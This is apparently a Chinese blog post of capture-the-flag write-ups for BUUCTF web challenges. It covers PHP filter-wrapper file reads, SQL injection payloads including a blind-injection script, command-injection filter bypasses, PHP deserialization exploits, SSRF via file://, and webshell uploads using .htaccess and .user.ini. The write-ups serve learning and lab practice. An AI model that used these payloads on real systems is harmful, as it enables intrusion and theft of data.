本文最后更新于:2021年5月31日 下午
Secret File
查看源代码:
点secret,什么都没发现,但是action.php变为了end.php,应该有重定向,抓包看看,
然后访问这个页面,得到源码。
想到可以通过伪协议读取flag。
1 secr3t.php?file=php:// filter/read=convert.base64-encode/ resource=flag.php
将得到的base64编码进行解码,
Include1 比上一个题简单,同样伪协议读取flag.php
1 file=php:// filter/read=convert.base64-encode/ resource=flag.php
LoveSQL 1 ' union select 1 ,schema_name,3 from information_schema.schemata
![image-20201109120759230]buuctf-web-1/image-20201109120759230.png)
1 ' union select 1 ,2 ,group_concat(schema_name) from information_schema.schemata
1 ' union select 1 ,2 ,group_concat(table_name) from information_schema.tables where table_schema='geek'#
1 ' union select 1 ,2 ,group_concat (column_name) from information_schema.columns where table_name='l0ve1ysq1'#
1 ' union select 1 ,2 ,(select group_concat (password) from l0ve1ysq1)#
easy_tornado tornado模板注入,
根据提示,需要文件名和cookie_secret
render渲染,
找到了文件名,然后就需要hash值了,
猜测存在模板注入,找到输入点。
这里有用户输入,简单试试。
查阅资料,找到 handler.settings 属性,试试看。
然后进行加密,
Ping Ping Ping
ping命令,我们可以执行linux命令,这是一个rce
空格被过滤了,
绕过空格的方法:
1 2 3 4 5 cat flag.txtcat $ {IFS}flag.txtcat $IFS $9flag .txtcat <flag.txtcat <>flag.txt
一些字符也被过滤了,只能用这种绕过:
估计flag被过滤了,我们读取index试试。
发现过滤了好多,flag贪婪匹配了,这可咋办。。。
可以使用
1 ?ip=127.0.0.1;cat $IFS $9 `ls `
或者sh,base64加密的方式:
1 echo $IFS$1 Y2 F0 IGZsYWcucGhw|base64 $IFS$1 -d|sh
Easy Calc1 源码泄露,
然后发现字符被过滤了,使用php解析字符串的特性绕过,问号后边加空格。
读取目录,但是单引号被过滤了,使用如下payload:
读取f1agg文件,
1 ? num=print_r(file_get_contents(chr (47 ).chr (102 ).chr (49 ).chr (97 ).chr (103 ).chr (103 )))
Exec payload:
1 123 |cat ../../ ../../ flag
Knife
连接一句话马,
PHP 通过尝试,找到了www.zip
备份目录,审计源码。
反序列化学习:https://www.jianshu.com/p/1d2c65601d2a
输出flag的是class.php:
unserialize()
会检查是否存在一个 __wakeup()
方法。如果存在,则会先调用 __wakeup
方法,预先准备对象需要的资源。
绕过wakeup方法:
当成员属性数目大于实际数目时可绕过wakeup方法(CVE-2016-7124)
所以可以构造exp:
将属性值2改为大于2的就可以了。因为有不可打印字符,所以我们对\0进行url编码。
1 index .php?select=O:4 :"Name" :3 :{s:14 :"%00Name%00username" ;s:5 :"admin" ;s:14 :"%00Name%00password" ;i:100 ;}
Http 访问secret.php:
我们设置referer试试,
再设置user-agent:
本地只读,伪造ip:
拿到flag
http请求包:
1 2 3 4 5 6 7 8 9 10 11 12 GET /Secret.php HTTP/1 .1 Host : node3 .buuoj.cn:26085 Proxy -Connection: keep-aliveReferer : https://www.Sycsecret.comCache -Control: max-age=0 Upgrade -Insecure-Requests: 1 User -Agent: SycloverX -Forwarded-For: 127.0.0.1 Accept : text/html,application/xhtml+xml,application/xml;q=0 .9 ,image/webp,image/apng,*/*;q=0 .8 ,application/signed-exchange;v=b3 ;q=0 .9 Accept -Encoding: gzip, deflateAccept -Language: zh-CN,zh;q=0 .9 Cookie : UM_distinctid=175 b7 bc59 d4266 -032275 eb541 e94 -4353760 -144000 -175 b7 bc59 d5358
admin 解法很多,因为从头到尾都是照着wp做的,贴一篇wp吧。
https://blog.csdn.net/weixin_44677409/article/details/100733581
Upload 上传文件,抓包,
返回
更改文件类型头:
返回
更改后缀名称,
返回
过滤了<?
。
更改脚本为:
应该是检查了文件内容,添加文件头试试。
上传成功,
连接服务端。上传的文件在upload文件夹内。
得到flag:
[ACTF2020 新生赛]Upload 前端校验,
使用console重写函数。
上传后缀为.phtml的一句话马文件。
蚁剑连接,
[SUCTF 2019]CheckIn 上传.php文件,检查后缀了,上传.php.jpg,过了后缀检测,但是发现检测了文件内容和文件头,最后上传如下文件:
但是马不会执行,这里还有一个知识点:
.user.ini文件
https://www.cnblogs.com/wangtanzhi/p/11862682.html
所以再传一个文件:
连接蚁剑,
BuyFlag 在页面代码中找到泄露代码,密码是404,但是不能是数字,php弱类型,传值404+字母即可。
但是money不能输入太长的长度。
使用科学计数法,
Easy MD5 抓包发现hint
构造永真语句,
ffifdyop加密后为276f722736c95d99e921722cf9ed621c,276f722736变为字符串为‘or’6
。
所以就绕过了password的判断。
进入下一个页面:
弱类型比较,
a=QNKCDZO&b=240610708
数组绕过,
md5()计算的是字符串的哈希值,对于数组则返回false,传两个数组,得到两个FALSE相等得以绕过。
[ZJCTF 2019]NiZhuanSiWei
需要读取内容为welcome to the zjctf,使用data协议写入内容,
text=data://text/plain,welcome to the zjctf
然后读取useless.php,读取php文件需要使用filter协议
php://filter/read=convert.base64-encode/resource=useless.php
得到:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class Flag { public $file ; public function __tostring ( ) { if (isset ($this ->file)){ echo file_get_contents($this ->file); echo "<br>" ; return ("U R SO CLOSE !///COME ON PLZ" ); } } } ?>
最后是反序列化漏洞,将Flag类序列化,
O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
最终payload
/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
要注意第二个参数file是useless.php,这样才是包含一个php文件,而filter协议读取的是源码文本。
得到flag:
Hack World sql注入,先模糊测试,因为第一个字符会忽略,所以从第二个字符测试,
函数几乎没有被过滤,使用盲注,
二分法写的有点问题,直接枚举吧。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import requestsimport stringimport time ss = string.printable url = 'http://1b30c1b1-9655-4d76-9e6e-332ae83bf048.node3.buuoj.cn/index.php' result = '' for x in range(1 , 50 ): s = '' for i in ss: payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)" % (x, ord(i)) data = { "id" :payload } time .sleep(0.05 ) response = requests.post(url, data =data ) if 'Hello, glzjin wants a girlfriend.' in response.text : s = i break result += s print(result)
flag{3f3b99be-359b-4a5f-9fc6-0eb6f2c00474}
[极客大挑战 2019]HardSQL 经过测试发现有过滤,burp进行fuzz。
等号,空格,union, *号等被过滤。
使用报错注入,空格用()代替。
1 2 3 4 5 6 7 8 9 10 11 12 'or(extractvalue("anything",concat(' ~',(database()))))# ------ geek ' or (extractvalue("anything",concat('~' ,(select (group_concat(table_name ))from (information_schema.tables )where (table_schema)like (database ())))))#'or(extractvalue("anything",concat(' ~',(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(' H4rDsq1')))))# ----- id,username,password ' or (extractvalue("anything",concat('~' ,(select (group_concat(username))from (H4rDsq1)))))#'or(extractvalue("anything",concat(' ~',(select(group_concat(password))from(H4rDsq1)))))# ----- flag{181d97e5-323e-4358-866a-0c ' or (extractvalue("anything",concat('~' ,(select (group_concat(right(password ,20 )))from (H4rDsq1)))))#
flag{181d97e5-323e-4358-866a-0c2c20dcb643}
[网鼎杯 2018]Fakebook robots.txt源码泄漏
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 function get($url ) { // 创建curl资源 $ch = curl_init(); // 设置URL和相应的选项 curl_setopt($ch , CURLOPT_URL, $url ); curl_setopt($ch , CURLOPT_RETURNTRANSFER, 1 ); // 抓取URL并传递给浏览器 $output = curl_exec($ch ); $httpCode = curl_getinfo($ch , CURLINFO_HTTP_CODE); if ($httpCode == 404 ) { return 404 ; } // 关闭curl资源。释放系统资源 curl_close($ch ); return $output ; }
SSRF,通过服务器伪造恶意URL读取flag.php。
登陆,在view.php发现sql注入。
1 2 3 4 5 6 7 8 9 1 %20or%20extractvalue("123" ,concat(%27~%27,(database()))) --- fakebook1 %20or%20extractvalue("123" ,concat(%27~%27,(select %20group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=database()))) --- users1 %20or%20extractvalue("123" ,concat(%27~%27,(select %20group_concat(column_name)%20from%20information_schema.columns%20where%20table_name="users" ))) --- no ,username,passwd,data,USER,CU1 %20or%20extractvalue("123" ,concat(%27~%27,(select %20group_concat(data)%20from%20users)))1 %20or%20extractvalue("123" ,concat(%27~%27,substr ((select %20data%20from%20users),20 ,30 ))) --- O:8 :"UserInfo" :3 :{s:4 :"name" ;s:3 :"123" ;s:3 :"age" ;i:12 ;s:4 :"blog" ;s:67 :"http://67c51528-60aa-442f-8197-40ccdd9a8971.node3.buuoj.cn/join.php" ;}
更改data数据:
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class UserInfo { public $name = "1" ; public $age = 0 ; public $blog = "file:///var/www/html/flag.php" ; }$a = new UserInfo();echo serialize($a );?>
1 2 3 4 O:8 :"UserInfo" :3 :{s:4 :"name" ;s:1 :"1" ;s:3 :"age" ;i:0 ;s:4 :"blog" ;s:29 :"file:///var/www/html/flag.php" ;} 联合查询序列化后的字符串,union select 被ban,使用union /**/select 绕过0 %20 union /**/select %201 ,%202 ,3 ,'O:8 :"UserInfo" :3 :{s:4 :"name" ;s:1 :"1" ;s:3 :"age" ;i:0 ;s:4 :"blog" ;s:29 :"file:///var/www/html/flag.php" ;}'#
flag{b908a76a-9666-4b0d-a5e9-c1f45b265f4e}
[GXYCTF2019]BabySQli 1 2 username : admin' union select 1 ,'admin','68053 af2923 e00204 c3 ca7 c6 a3150 cf7 '#password : 789
flag{03f63296-0154-4e71-9c57-54d3d44f71ad}
[网鼎杯 2020 青龙组]AreUSerialz 反序列化,要绕过process。
传入数字2进行绕过。
1 2 3 4 5 6 7 8 9 10 11 12 13 <?php class FileHandler { public $op = 2 ; public $filename = "php://filter/read=convert.base64-encode/resource=flag.php" ; public $content = "Hello World!" ; }$a = new FileHandler();echo serialize($a );?> O:11 :"FileHandler" :3 :{s:2 :"op" ;i:2 ;s:8 :"filename" ;s:57 :"php://filter/read=convert.base64-encode/resource=flag.php" ;s:7 :"content" ;s:12 :"Hello%20World!" ;}
flag{81940b5b-ace0-48ad-8403-3e605be41798}
[MRCTF2020]你传你🐎呢 改为jpg后缀传文件,
再创建.htaccess文件,将jpg解析为php。
1 AddType application /x-httpd-php .jpg
传一句话马。